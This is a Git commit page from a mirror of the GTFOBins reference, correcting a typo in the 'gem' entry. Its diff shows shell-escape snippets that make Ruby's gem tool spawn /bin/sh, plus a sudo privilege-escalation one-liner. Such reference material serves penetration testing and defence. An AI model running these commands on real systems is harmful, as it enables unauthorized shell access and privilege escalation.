mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Fix typo in gem
This commit is contained in:
parent
48892aad60
commit
ddd6c2e304
@ -11,12 +11,12 @@ functions:
|
|||||||
code: |
|
code: |
|
||||||
TF=$(mktemp -d)
|
TF=$(mktemp -d)
|
||||||
echo 'system("/bin/sh")' > $TF/x
|
echo 'system("/bin/sh")' > $TF/x
|
||||||
sudo gem build $TF/x
|
gem build $TF/x
|
||||||
- description: This executes the specified file as [`ruby`](/gtfobins/ruby/) code.
|
- description: This executes the specified file as [`ruby`](/gtfobins/ruby/) code.
|
||||||
code: |
|
code: |
|
||||||
TF=$(mktemp -d)
|
TF=$(mktemp -d)
|
||||||
echo 'system("/bin/sh")' > $TF/x
|
echo 'system("/bin/sh")' > $TF/x
|
||||||
sudo gem install --file $TF/x
|
gem install --file $TF/x
|
||||||
sudo:
|
sudo:
|
||||||
- description: This requires the name of an installed gem to be provided (`json` is usually installed).
|
- description: This requires the name of an installed gem to be provided (`json` is usually installed).
|
||||||
code: sudo gem open -e "/bin/sh -c /bin/sh" json
|
code: sudo gem open -e "/bin/sh -c /bin/sh" json
|
||||||
|
Loading…
Reference in New Issue
Block a user